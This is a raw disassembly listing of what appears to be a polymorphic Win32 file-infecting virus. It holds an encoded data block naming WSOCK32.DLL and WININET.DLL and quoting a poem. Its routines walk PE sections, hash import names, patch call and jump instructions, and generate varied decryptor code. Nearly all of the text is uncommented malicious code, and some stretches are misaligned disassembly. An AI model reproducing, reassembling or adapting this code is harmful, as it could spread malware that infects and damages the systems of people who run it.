		dd 359C95FFh, 68930040h, 4, 18EDB58Dh, 8D590040h, 40362CBDh
		dd 0F6D6E800h, 0C766FFFFh, 401D6785h, 83F0FF00h, 401D69A5h
		dd 958D0000h, 401D27h, 16A5450h, 6852006Ah, 80000002h
		dd 363095FFh, 0C0850040h, 8D22755Ah, 401D5A8Dh,	66A5200h
		dd 1D67B58Dh, 56540040h, 52515050h, 363495FFh, 0FF580040h
		dd 40362C95h, 4D85C600h, 4038h,	0CE8h, 4F535700h, 32334B43h
		dd 4C4C442Eh, 9C95FF00h, 93004035h, 768h, 44B58D00h, 59004018h
		dd 35FCBD8Dh, 51E80040h, 0E8FFFFF6h, 0Ch, 494E4957h, 2E54454Eh
		dd 4C4C44h, 359C95FFh, 0C0850040h, 1E7840Fh, 68930000h
		dd 5, 1882B58Dh, 8D590040h, 403618BDh, 0F61AE800h, 0BD83FFFFh
		dd 40361Ch, 0C2840F00h,	81000001h, 190ECh, 1685400h, 0FF000001h
		dd 4035FC95h, 90C48100h, 50000001h, 6AD48Bh, 1C95FF52h
		dd 85004036h, 0D7559C0h, 138868h, 0BC95FF00h, 0EB004035h
		dd 69BD83E2h, 401Dh, 858D2975h,	401D6Dh, 895FF50h, 85004036h
		dd 3B840FC0h, 8B000001h, 8B0C40h, 858F30FFh, 401D69h, 384D85C6h
		dd 6A010040h, 6A016A00h, 1495FF02h, 83004036h, 840FFFF8h
		dd 112h, 65958D93h, 6A00401Dh, 0FF535210h, 40360495h, 0FC08500h
		dd 0F285h, 86BD8D00h, 0B100401Dh, 0FABCE808h, 9468FFFFh
		dd 5E000000h, 3489E62Bh, 95FF5424h, 403598h, 1D94BD8Dh
		dd 1B10040h, 0FFFA9DE8h, 24448BFFh, 8E0C110h, 424440Bh
		dd 0B08E0C1h, 50082444h, 5E8h, 362E2500h, 0FF570078h, 40355495h
		dd 0CC48300h, 200647C6h, 1D81958Dh, 6A0040h, 2168h, 0FF535200h
		dd 40361095h, 247C8D00h, 95FF5714h, 403558h, 0A3804C6h
		dd 50006A40h, 95FF5357h, 403610h, 0BD8DE603h, 401DA2h
		dd 0C68006Ah, 57000000h, 1095FF53h, 3D004036h, 0Ch, 0B58D4D75h
		dd 40364Eh, 384D8D8Dh, 0CE2B0040h, 5651006Ah, 0C95FF53h
		dd 83004036h, 2F7E00F8h, 8DFE8B91h, 40364EB5h, 0F20DB000h
		dd 601075AEh, 0FFFAF8E8h, 177261FFh, 778D09E3h,	8BEAEB01h
		dd 8DCE2BCFh, 40364EBDh, 87A4F300h, 53B9EBF7h, 360095FFh
		dd 0BD800040h, 401577h,	682A7401h, 7530h, 35BC95FFh, 0BD800040h
		dd 40384Dh, 0C7117400h,	401D6985h, 0
		dd 4D85C600h, 4038h, 0FFFE56E9h, 8085C7FFh, 4015h, 5D800000h
		dd 0D0004C2h, 6E204F0Ah, 206E6F6Fh, 6C20666Fh, 21656669h
		dd 74204F20h, 20656D69h, 63206F74h, 62656C65h, 65746172h
		dd 200A0D21h, 20202020h, 7573204Fh, 72656D6Dh, 72616720h
		dd 216E6564h, 65520A0Dh, 746E656Ch, 7373656Ch, 6820796Ch
		dd 79707061h, 646E6120h, 70786520h, 61746365h, 202C746Eh
		dd 6E617473h, 676E6964h, 0D2D203Ah, 7461570Ah, 6E696863h
		dd 6C612067h, 6164206Ch, 6E612079h, 696E2064h, 2C746867h
		dd 726F6620h, 69726620h, 73646E65h, 77204920h, 3A746961h
		dd 68570A0Dh, 20657265h, 20657261h, 2C756F79h, 69726620h
		dd 73646E65h, 6F43203Fh, 2021656Dh, 69207449h, 69742073h
		dd 2021656Dh, 73277449h, 74616C20h, 0A0D2165h, 4FD479EDh
		dd 10A61429h, 30C78404h, 27B1FAE5h, 3AAB5957h, 0A5FADA23h
		dd 50B7AB4h, 4B9BAAB9h,	40375248h, 40375232h, 6299AD47h
		dd 10A61413h, 354522DFh, 2FF61F75h, 0A70356A8h,	1C9ADB6Eh
		dd 53AF69C9h, 72EB0549h, 606EF96Ah, 0B23C03F4h,	0C26CCC5Ch
		dd 0D79213BDh, 1A73C17Eh, 0D8B8B352h, 0FC19CA6Eh, 7 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_415EA4	proc near		; CODE XREF: sub_415EEB:loc_415F48p
					; sub_415FAB+7p ...

arg_0		= dword	ptr  4

		pusha
		and	dword ptr [ebp+4039A6h], 0
		and	dword ptr ss:loc_4039AA[ebp], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_415EC0:				; CODE XREF: sub_415EA4+41j
		mov	eax, [esp+20h+arg_0]
		sub	eax, [edx+0Ch]
		jb	short loc_415EE2
		cmp	eax, [edx+8]
		jnb	short loc_415EE2
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	[ebp+4039A6h], edx
		mov	dword ptr ss:loc_4039AA[ebp], eax
		jmp	short loc_415EE7
; ---------------------------------------------------------------------------


loc_415EE2:				; CODE XREF: sub_415EA4+23j
					; sub_415EA4+28j
		add	edx, 28h
		loop	loc_415EC0


loc_415EE7:				; CODE XREF: sub_415EA4+3Cj
		popa
		retn	4
sub_415EA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415EEB	proc near		; CODE XREF: __u_____:00416217p
					; __u_____:0041623Dp
		mov	byte ptr ss:dword_4022F7[ebp], al
		call	sub_415F5A
		push	20h
		lea	eax, dword_402224[ebp]
		pop	ecx


loc_415F02:				; CODE XREF: sub_415EEB+1Ej
		cmp	[eax], ebx
		jz	short loc_415F12
		add	eax, 4
		loop	loc_415F02
		inc	dword ptr ss:loc_40398E[ebp]
		retn
; ---------------------------------------------------------------------------


loc_415F12:				; CODE XREF: sub_415EEB+19j
		neg	ecx
		add	ecx, ss:dword_4022F7[ebp]
		jecxz	short loc_415F2C


loc_415F1C:				; CODE XREF: sub_415EEB+39j
		push	dword ptr [eax-4]
		pop	dword ptr [eax]
		sub	eax, 4
		loop	loc_415F1C
		mov	ss:dword_402224[ebp], ebx


loc_415F2C:				; CODE XREF: sub_415EEB+2Fj
					; sub_415F5A+34j
		cmp	dword ptr [edx], 0
		jz	short loc_415F36
		sub	esi, [edx]
		add	esi, [edx+10h]


loc_415F36:				; CODE XREF: sub_415EEB+44j
		lea	ecx, [esi-4]
		pop	eax
		pop	ebx
		pop	esi
		cmp	dword ptr [edx], 0
		jz	short loc_415F45
		push	dword ptr [edx]
		jmp	short loc_415F48
; ---------------------------------------------------------------------------


loc_415F45:				; CODE XREF: sub_415EEB+54j
		push	dword ptr [edx+10h]


loc_415F48:				; CODE XREF: sub_415EEB+58j
		call	sub_415EA4
		sub	ecx, esi
		sub	ecx, dword ptr ss:loc_4039AA[ebp]
		pop	eax
		add	ecx, [ebx+34h]
		retn
sub_415EEB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415F5A	proc near		; CODE XREF: sub_415EEB+6p
		pop	dword ptr [ebp+403992h]
		mov	dword ptr ss:loc_40398E[ebp], 0
		call	sub_415FAB
		mov	eax, dword ptr ss:loc_40398E[ebp]
		call	sub_4156EF
		call	sub_415F97
		cmp	dword ptr ss:loc_40398E[ebp], 0
		jnz	short loc_415F90
		mov	ss:dword_4022A0[ebp], ebx
		jmp	short loc_415F2C
; ---------------------------------------------------------------------------


loc_415F90:				; CODE XREF: sub_415F5A+2Cj
		dec	dword ptr ss:loc_40398E[ebp]
		retn
sub_415F5A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415F97	proc near		; CODE XREF: sub_415F5A+20p
		pop	dword ptr [ebp+403992h]
		mov	dword ptr ss:loc_40398E[ebp], edx
		call	sub_415FAB
		xor	ecx, ecx
		retn
sub_415F97	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415FAB	proc near		; CODE XREF: sub_415F5A+10p
					; sub_415F97+Cp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	edx, [ebx+80h]
		push	edx
		call	sub_415EA4
		add	edx, dword ptr ss:loc_4039AA[ebp]
		add	edx, esi


loc_415FBF:				; CODE XREF: sub_415FAB+120j
		cmp	dword ptr [edx+0Ch], 0
		jz	locret_4160D0
		cmp	dword ptr [edx+10h], 0
		jz	locret_4160D0
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_415EA4
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, esi
		push	eax


loc_415FE5:				; CODE XREF: sub_415FAB+47j
		mov	cl, [eax]
		cmp	cl, 0
		jz	short loc_416005
		cmp	cl, 2Eh
		jz	short loc_415FF4


loc_415FF1:				; CODE XREF: sub_415FAB+58j
		inc	eax
		jmp	short loc_415FE5
; ---------------------------------------------------------------------------


loc_415FF4:				; CODE XREF: sub_415FAB+44j
		mov	ecx, [eax+1]
		and	ecx, 0DFDFDFDFh
		cmp	ecx, 4C4C44h
		jnz	short loc_415FF1


loc_416005:				; CODE XREF: sub_415FAB+3Fj
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 0FFFFFFFAh
		jg	loc_4160C8
		cmp	word ptr [eax-2], 3233h
		jnz	loc_4160C8
		push	esi
		cmp	dword ptr [edx], 0
		jnz	short loc_416028
		mov	ecx, [edx+10h]
		jmp	short loc_41602A
; ---------------------------------------------------------------------------


loc_416028:				; CODE XREF: sub_415FAB+76j
		mov	ecx, [edx]


loc_41602A:				; CODE XREF: sub_415FAB+7Bj
		add	esi, ecx
		push	ecx
		call	sub_415EA4
		add	esi, dword ptr ss:loc_4039AA[ebp]


loc_416038:				; CODE XREF: sub_415FAB+90j
					; sub_415FAB+117j
		lodsd
		test	eax, eax
		js	short loc_416038
		jz	loc_4160C7
		push	dword ptr ss:loc_4039AA[ebp]
		push	eax
		call	sub_415EA4
		add	eax, dword ptr ss:loc_4039AA[ebp]
		pop	dword ptr ss:loc_4039AA[ebp]
		add	eax, [esp+4+var_4]
		push	ebx
		add	eax, 2
		xor	ebx, ebx


loc_416064:				; CODE XREF: sub_415FAB+CEj
		movzx	ecx, byte ptr [eax]
		jecxz	short loc_41607B
		or	cl, 20h
		push	ebx
		shl	[esp+0Ch+var_C], 4
		sub	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], ecx
		pop	ebx
		inc	eax
		jmp	short loc_416064
; ---------------------------------------------------------------------------


loc_41607B:				; CODE XREF: sub_415FAB+BCj
		cmp	ebx, 0DDBBD70Fh
		jz	short loc_4160C1
		cmp	ebx, 0DB6E45A8h
		jz	short loc_4160C1
		cmp	ebx, 0FFA13B59h
		jz	short loc_4160C1
		cmp	ebx, 0ACB522D6h
		jz	short loc_4160C1
		cmp	ebx, 0F358E993h
		jz	short loc_4160C1
		cmp	ebx, 0F358E97Dh
		jz	short loc_4160C1
		cmp	ebx, 0E1253F46h
		jz	short loc_4160C1
		cmp	ebx, 0E1253F30h
		jz	short loc_4160C1
		call	dword ptr [ebp+403992h]


loc_4160C1:				; CODE XREF: sub_415FAB+D6j
					; sub_415FAB+DEj ...
		pop	ebx
		jmp	loc_416038
; ---------------------------------------------------------------------------


loc_4160C7:				; CODE XREF: sub_415FAB+92j
		pop	esi


loc_4160C8:				; CODE XREF: sub_415FAB+60j
					; sub_415FAB+6Cj
		add	edx, 14h
		jmp	loc_415FBF
; ---------------------------------------------------------------------------

locret_4160D0:				; CODE XREF: sub_415FAB+18j
					; sub_415FAB+22j
		retn
sub_415FAB	endp

; ---------------------------------------------------------------------------
		db 1

; =============== S U B	R O U T	I N E =======================================



sub_4160D2	proc near		; CODE XREF: __u_____:00416210p
					; __u_____:00416236p
		push	4
		pop	eax
		call	sub_4156EF
		mov	ss:byte_4024D1[ebp], dl
		mov	ax, 1831h
		add	ah, dl
		shl	ah, 3
		add	ah, dl
		stosw
		push	6
		pop	eax
		call	sub_4156EF
		add	edx, 8
		xchg	edx, ecx


loc_4160FA:				; CODE XREF: sub_4160D2:loc_416139j
		push	5
		pop	eax
		call	sub_4156EF
		cmp	dl, 3
		jnb	short loc_416112
		mov	al, 50h
		add	al, ss:byte_4024D1[ebp]
		stosb
		jmp	short loc_416139
; ---------------------------------------------------------------------------


loc_416112:				; CODE XREF: sub_4160D2+33j
		push	68h
		pop	eax
		stosb
		cmp	dl, 3
		jnz	short loc_416133
		mov	al, 11h
		call	sub_4156EF
		mov	eax, 1


loc_416127:				; CODE XREF: sub_4160D2+5Dj
		test	dl, dl
		jz	short loc_416138
		shl	eax, 1
		dec	dl
		jmp	short loc_416127
; ---------------------------------------------------------------------------
		jmp	short loc_416138
; ---------------------------------------------------------------------------


loc_416133:				; CODE XREF: sub_4160D2+47j
		mov	eax, 80000000h


loc_416138:				; CODE XREF: sub_4160D2+57j
					; sub_4160D2+5Fj
		stosd


loc_416139:				; CODE XREF: sub_4160D2+3Ej
		loop	loc_4160FA
		retn
sub_4160D2	endp

; ---------------------------------------------------------------------------


loc_41613C:				; CODE XREF: sub_416B96+112p
		lea	edi, loc_40343C[ebp]
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_416151
		mov	al, 60h
		stosb


loc_416151:				; CODE XREF: __u_____:0041614Cj
		test	dword ptr [ebp+403431h], 1000003h
		jz	loc_416257
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	near ptr 0BDCB0D15h
		xchg	eax, esi
		cmp	[eax+0], eax
		mov	al, 0E8h
		stosb
		stosd
		test	dword ptr [ebp+403431h], 1000000h
		mov	dword ptr ss:loc_40399A[ebp], edi
		jz	short loc_4161CF
		test	dword ptr [ebp+403431h], 2000000h
		mov	eax, 36FF6467h
		jnz	short loc_41619A
		mov	eax, 2E8B6467h


loc_41619A:				; CODE XREF: __u_____:00416193j
		stosd
		mov	ax, 0
		stosw
		jz	short loc_4161A6
		mov	al, 5Dh
		stosb


loc_4161A6:				; CODE XREF: __u_____:004161A1j
		test	dword ptr [ebp+403431h], 8000000h
		mov	eax, 86D8Dh
		jnz	short loc_4161CD
		test	dword ptr [ebp+403431h], 4000000h
		mov	eax, 8C583h
		jz	short loc_4161CD
		mov	eax, 0F8ED83h


loc_4161CD:				; CODE XREF: __u_____:004161B5j
					; __u_____:004161C6j
		stosd
		dec	edi


loc_4161CF:				; CODE XREF: __u_____:00416182j
		test	dword ptr [ebp+403431h], 3
		jz	short loc_4161DF
		mov	al, 0E9h
		stosb
		stosd


loc_4161DF:				; CODE XREF: __u_____:004161D9j
		mov	eax, [ebp+403996h]
		mov	ecx, edi
		sub	ecx, eax
		mov	[eax-4], ecx
		test	dword ptr [ebp+403431h], 3
		jz	short loc_416257
		mov	eax, 36FF6467h
		mov	[ebp+40399Eh], edi
		stosd
		mov	eax, 64670000h
		stosd
		mov	eax, 2689h
		stosd
		call	sub_4160D2
		mov	al, 20h
		call	sub_415EEB
		jecxz	short loc_416257
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd
		mov	edx, [ebp+403431h]
		not	edx
		test	edx, 3
		jnz	short loc_41624A
		call	sub_4160D2
		mov	al, 1Fh
		call	sub_415EEB
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd


loc_41624A:				; CODE XREF: __u_____:00416234j
		mov	ecx, edi
		mov	eax, [ebp+40399Eh]
		sub	ecx, eax
		mov	[eax-4], ecx


loc_416257:				; CODE XREF: __u_____:0041615Bj
					; __u_____:004161F6j ...
		test	dword ptr [ebp+403431h], 4
		jz	short loc_416275
		mov	eax, 0C8FEC029h
		stosd
		mov	eax, 474C008h
		stosd
		mov	eax, 67EBF875h
		stosd


loc_416275:				; CODE XREF: __u_____:00416261j
		test	dword ptr [ebp+403431h], 8
		jnz	short loc_4162CB
		cmp	byte ptr [ebp+40342Fh],	0
		jz	short loc_4162CB
		mov	eax, 0C9291829h
		or	ah, byte ptr ss:loc_40342B[ebp]
		shl	ah, 3
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosd
		mov	al, 0B1h
		stosb
		mov	al, [ebp+40342Fh]
		stosb
		mov	al, 40h
		or	al, byte ptr ss:loc_40342B[ebp]
		stosb
		mov	ax, 0FDE2h
		test	dword ptr [ebp+403431h], 10h
		jz	short loc_4162C9
		mov	al, 49h
		stosb
		mov	ax, 0FC75h


loc_4162C9:				; CODE XREF: __u_____:004162C0j
		stosw


loc_4162CB:				; CODE XREF: __u_____:0041627Fj
					; __u_____:00416288j
		mov	al, 0E8h
		stosb
		xor	eax, eax
		stosd
		mov	[ebp+403982h], edi
		test	dword ptr [ebp+403431h], 20h
		jnz	short loc_4162EC
		mov	al, 58h
		or	al, [ebp+403429h]
		stosb


loc_4162EC:				; CODE XREF: __u_____:004162E1j
		mov	ax, 0C081h
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_4162FF
		add	ah, 28h


loc_4162FF:				; CODE XREF: __u_____:004162FAj
		or	ah, [ebp+403429h]
		stosw
		mov	[ebp+403986h], edi
		stosd
		test	dword ptr [ebp+403431h], 40000000h
		jnz	short loc_416323
		mov	al, 50h
		add	al, [ebp+403429h]
		stosb


loc_416323:				; CODE XREF: __u_____:00416318j
		test	dword ptr [ebp+403431h], 80h
		jnz	short loc_41633A
		mov	al, 0B8h
		or	al, [ebp+40342Ah]
		stosb
		jmp	short loc_416377
; ---------------------------------------------------------------------------


loc_41633A:				; CODE XREF: __u_____:0041632Dj
		mov	ax, 1831h
		test	dword ptr [ebp+403431h], 100h
		jz	short loc_41634C
		mov	al, 29h


loc_41634C:				; CODE XREF: __u_____:00416348j
		or	ah, [ebp+40342Ah]
		shl	ah, 3
		or	ah, [ebp+40342Ah]
		stosw
		mov	ax, 0F081h
		test	dword ptr [ebp+403431h], 200h
		jnz	short loc_41636F
		mov	ah, 0C8h


loc_41636F:				; CODE XREF: __u_____:0041636Bj
		or	ah, [ebp+40342Ah]
		stosw


loc_416377:				; CODE XREF: __u_____:00416338j
		mov	[ebp+4039A2h], edi
		mov	eax, 243Ch
		stosd
		test	dword ptr [ebp+403431h], 8
		jz	short loc_4163FB
		test	dword ptr [ebp+403431h], 400h
		jnz	short loc_4163A6
		mov	al, 0B8h
		or	al, byte ptr ss:loc_40342B[ebp]
		stosb
		jmp	short loc_4163F3
; ---------------------------------------------------------------------------


loc_4163A6:				; CODE XREF: __u_____:00416399j
		test	dword ptr [ebp+403431h], 800h
		jnz	short loc_4163C3
		mov	ax, 0E083h
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosw
		xor	eax, eax
		stosb
		jmp	short loc_4163D8
; ---------------------------------------------------------------------------


loc_4163C3:				; CODE XREF: __u_____:004163B0j
		mov	ax, 1829h
		or	ah, byte ptr ss:loc_40342B[ebp]
		shl	ah, 3
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosw


loc_4163D8:				; CODE XREF: __u_____:004163C1j
		test	dword ptr [ebp+403431h], 1000h
		mov	ax, 0C081h
		jz	short loc_4163EB
		add	ah, 8


loc_4163EB:				; CODE XREF: __u_____:004163E6j
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosw


loc_4163F3:				; CODE XREF: __u_____:004163A4j
		movzx	eax, byte ptr [ebp+40342Fh]
		stosd


loc_4163FB:				; CODE XREF: __u_____:0041638Dj
		test	dword ptr [ebp+403431h], 40000000h
		jz	short loc_416410
		mov	al, 50h
		add	al, [ebp+403429h]
		stosb


loc_416410:				; CODE XREF: __u_____:00416405j
		test	dword ptr [ebp+403431h], 2000h
		mov	al, 86h
		jnz	short loc_416420
		add	al, 4


loc_416420:				; CODE XREF: __u_____:0041641Cj
		lea	ecx, [edi-2]
		mov	ah, [ebp+403429h]
		mov	[ebp+40398Ah], ecx
		stosw
		cmp	ah, 5
		jnz	short loc_41643D
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_41643D:				; CODE XREF: __u_____:00416434j
		test	dword ptr [ebp+403431h], 4000h
		mov	ax, 3166h
		jnz	short loc_41644F
		mov	ah, 29h


loc_41644F:				; CODE XREF: __u_____:0041644Bj
		stosw
		mov	al, 18h
		or	al, byte ptr ss:loc_40342B[ebp]
		shl	al, 3
		stosb
		mov	al, 88h
		test	dword ptr [ebp+403431h], 8000h
		jnz	short loc_41646D
		mov	al, 86h


loc_41646D:				; CODE XREF: __u_____:00416469j
		mov	ah, [ebp+403429h]
		stosw
		cmp	ah, 5
		jnz	short loc_416481
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_416481:				; CODE XREF: __u_____:00416478j
		test	dword ptr [ebp+403431h], 10000h
		jnz	short loc_416498
		mov	al, 40h
		or	al, [ebp+403429h]
		stosb
		jmp	short loc_4164A7
; ---------------------------------------------------------------------------


loc_416498:				; CODE XREF: __u_____:0041648Bj
		mov	ax, 0C083h
		or	ah, [ebp+403429h]
		stosw
		mov	al, 1
		stosb


loc_4164A7:				; CODE XREF: __u_____:00416496j
		test	dword ptr [ebp+403431h], 20000h
		jnz	short loc_4164E2
		test	dword ptr [ebp+403431h], 40000h
		jnz	short loc_4164D9
		mov	al, 0C0h
		or	al, byte ptr ss:loc_40342B[ebp]
		mov	ah, byte ptr ss:loc_403430[ebp]
		shl	eax, 10h
		mov	ax, 8166h
		stosd
		mov	al, 0
		jmp	short loc_4164E1
; ---------------------------------------------------------------------------


loc_4164D9:				; CODE XREF: __u_____:004164BDj
		mov	al, 40h
		or	al, byte ptr ss:loc_40342B[ebp]


loc_4164E1:				; CODE XREF: __u_____:004164D7j
		stosb


loc_4164E2:				; CODE XREF: __u_____:004164B1j
		test	dword ptr [ebp+403431h], 80000h
		jnz	short loc_4164FE
		mov	ax, 0E883h
		or	ah, [ebp+40342Ah]
		stosw
		mov	al, 1
		jmp	short loc_416506
; ---------------------------------------------------------------------------


loc_4164FE:				; CODE XREF: __u_____:004164ECj
		mov	al, 48h
		or	al, [ebp+40342Ah]


loc_416506:				; CODE XREF: __u_____:004164FCj
		stosb
		test	dword ptr [ebp+403431h], 100000h
		mov	cl, 75h
		jnz	short loc_41653A
		mov	ax, 0F883h
		or	ah, [ebp+40342Ah]
		stosw
		xor	eax, eax
		stosb
		sub	[ebp+40398Ah], edi
		test	dword ptr [ebp+403431h], 200000h
		jnz	short loc_416555
		mov	cl, 77h
		jmp	short loc_416555
; ---------------------------------------------------------------------------


loc_41653A:				; CODE XREF: __u_____:00416513j
		mov	ax, 1809h
		or	ah, [ebp+40342Ah]
		shl	ah, 3
		or	ah, [ebp+40342Ah]
		stosw
		sub	[ebp+40398Ah], edi


loc_416555:				; CODE XREF: __u_____:00416534j
					; __u_____:00416538j
		mov	al, cl
		mov	ah, [ebp+40398Ah]
		stosw
		mov	al, 58h
		add	al, [ebp+403429h]
		stosb
		test	dword ptr [ebp+403431h], 1000003h
		jz	loc_4165FF
		mov	eax, 268B6467h
		mov	ecx, [ebp+403431h]
		xor	ecx, 2000000h
		test	ecx, 3000000h
		jnz	short loc_416596
		mov	eax, 2E876467h


loc_416596:				; CODE XREF: __u_____:0041658Fj
		stosd
		mov	eax, 0
		stosw
		jnz	short loc_4165A6
		mov	ax, 0E58Bh
		stosw


loc_4165A6:				; CODE XREF: __u_____:0041659Ej
		mov	eax, 68F6764h
		stosd
		xor	eax, eax
		stosw
		test	dword ptr [ebp+403431h], 1000000h
		jnz	short loc_4165FC
		test	dword ptr [ebp+403431h], 8000000h
		jz	short loc_4165EE
		mov	ax, 6C8Dh
		test	dword ptr [ebp+403431h], 2000000h
		setnz	cl
		or	ah, cl
		stosw
		test	cl, cl
		jnz	short loc_4165E9
		mov	ax, 424h
		stosw
		jmp	short loc_4165FC
; ---------------------------------------------------------------------------


loc_4165E9:				; CODE XREF: __u_____:004165DFj
		mov	al, 8
		stosb
		jmp	short loc_4165FC
; ---------------------------------------------------------------------------


loc_4165EE:				; CODE XREF: __u_____:004165C6j
		mov	ax, 5D58h
		add	al, byte ptr ss:loc_40342B[ebp]
		stosw
		jmp	short loc_4165FF
; ---------------------------------------------------------------------------


loc_4165FC:				; CODE XREF: __u_____:004165BAj
					; __u_____:004165E7j ...
		mov	al, 0C9h
		stosb


loc_4165FF:				; CODE XREF: __u_____:00416572j
					; __u_____:004165FAj
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_41662B
		mov	al, 7
		sub	al, [ebp+403429h]
		shl	eax, 1Ah
		or	eax, 240889h
		add	ah, [ebp+403429h]
		shl	ah, 3
		add	ah, 4
		stosd
		mov	al, 61h
		stosb


loc_41662B:				; CODE XREF: __u_____:00416609j
		mov	ax, 0E0FFh
		or	ah, [ebp+403429h]
		stosw
		test	dword ptr [ebp+403431h], 20h
		jz	short loc_416696
		test	dword ptr [ebp+403431h], 20000000h
		jz	short loc_41665C


loc_41664F:				; CODE XREF: __u_____:0041665Aj
		test	edi, 3
		jz	short loc_41665C
		mov	al, 90h
		stosb
		jmp	short loc_41664F
; ---------------------------------------------------------------------------


loc_41665C:				; CODE XREF: __u_____:0041664Dj
					; __u_____:00416655j
		mov	eax, edi
		mov	ecx, [ebp+403982h]
		sub	eax, ecx
		mov	[ecx-4], eax
		mov	al, 58h
		or	al, [ebp+403429h]
		stosb
		test	dword ptr [ebp+403431h], 400000h
		jz	short loc_41668A
		mov	ax, 0C350h
		or	al, [ebp+403429h]
		jmp	short loc_416694
; ---------------------------------------------------------------------------


loc_41668A:				; CODE XREF: __u_____:0041667Cj
		mov	ax, 0E0FFh
		or	ah, [ebp+403429h]


loc_416694:				; CODE XREF: __u_____:00416688j
		stosw


loc_416696:				; CODE XREF: __u_____:00416641j
		test	dword ptr [ebp+403431h], 1000003h
		jz	short loc_416715
		test	dword ptr [ebp+403431h], 20000000h
		jz	short loc_4166BB


loc_4166AE:				; CODE XREF: __u_____:004166B9j
		test	edi, 3
		jz	short loc_4166BB
		mov	al, 90h
		stosb
		jmp	short loc_4166AE
; ---------------------------------------------------------------------------


loc_4166BB:				; CODE XREF: __u_____:004166ACj
					; __u_____:004166B4j
		mov	ecx, edi
		mov	eax, dword ptr ss:loc_40399A[ebp]
		sub	ecx, eax
		mov	[eax-4], ecx
		xor	ecx, ecx
		test	dword ptr [ebp+403431h], 800000h
		jnz	short loc_4166E4
		lea	eax, [ebp+403429h]


loc_4166DC:				; CODE XREF: __u_____:004166E2j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_4166DC


loc_4166E4:				; CODE XREF: __u_____:004166D4j
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_4166F9
		mov	ax, 0C031h
		stosw


loc_4166F9:				; CODE XREF: __u_____:004166F1j
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_416712
		mov	ax, 0C031h
		stosw


loc_416712:				; CODE XREF: __u_____:0041670Aj
		mov	al, 0C3h
		stosb


loc_416715:				; CODE XREF: __u_____:004166A0j
		lea	eax, loc_40343C[ebp]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_41672D
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_416746
; ---------------------------------------------------------------------------


loc_41672D:				; CODE XREF: __u_____:00416725j
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, [ebp+4039A2h]
		add	[ebp+403982h], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_416746:				; CODE XREF: __u_____:0041672Bj
		mov	[ebp+40106Dh], edi
		mov	edi, [ebp+403986h]
		sub	eax, [ebp+403982h]
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_416766
		neg	eax


loc_416766:				; CODE XREF: __u_____:00416762j
		stosd
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41676A	proc near		; CODE XREF: sub_416B96+2A8p
		push	esi
		push	edi
		cmp	dword ptr ss:loc_4039AE[ebp], 0
		jz	loc_416952
		call	near ptr loc_41678A+1
		dec	ebx
		inc	ebp
		push	edx
		dec	esi
		inc	ebp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_41678A:				; CODE XREF: sub_41676A+Fp
		add	bh, bh
sub_41676A	endp ; sp-analysis failed

		xchg	eax, ebp
		mov	ds:85890040h, dh
		mov	esi, 53004039h
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		push	dword ptr [ebx+28h]
		mov	eax, [ebx+34h]
		call	sub_415EA4
		mov	edx, [ebp+4039A6h]
		pop	ebx
		add	eax, [edx+0Ch]
		mov	dword ptr ss:loc_4039C2[ebp], eax
		add	eax, [edx+8]
		mov	[ebp+4039C6h], eax
		mov	esi, [ebx+28h]
		push	dword ptr [ebx+80h]
		call	sub_415EA4
		mov	edi, [ebp+4039A6h]
		push	esi
		call	sub_415EA4
		mov	edx, [ebp+4039A6h]
		mov	ecx, [edx+8]
		add	ecx, [edx+0Ch]
		sub	ecx, esi
		sub	ecx, 5
		js	loc_416952
		jz	loc_416952
		add	esi, dword ptr ss:loc_4039AA[ebp]
		add	esi, [ebp+403972h]
; START	OF FUNCTION CHUNK FOR sub_416923


loc_416804:				; CODE XREF: sub_416923+29j
		lodsb
		cmp	al, 0E8h
		jnz	loc_4168AF
		lea	eax, [esi+4]
		sub	eax, [ebp+403972h]
		add	eax, [esi]
		push	eax
		call	sub_415EA4
		cmp	dword ptr [ebp+4039A6h], 0
		jnz	short loc_416832
		cmp	eax, [edi+0Ch]
		jnb	loc_41694B
		jmp	short loc_41683E
; ---------------------------------------------------------------------------


loc_416832:				; CODE XREF: sub_416923-FEj
		cmp	[ebp+4039A6h], edx
		jnz	loc_41694B


loc_41683E:				; CODE XREF: sub_416923-F3j
		add	eax, [ebp+403972h]
		cmp	word ptr [eax],	25FFh
		jnz	loc_41694B
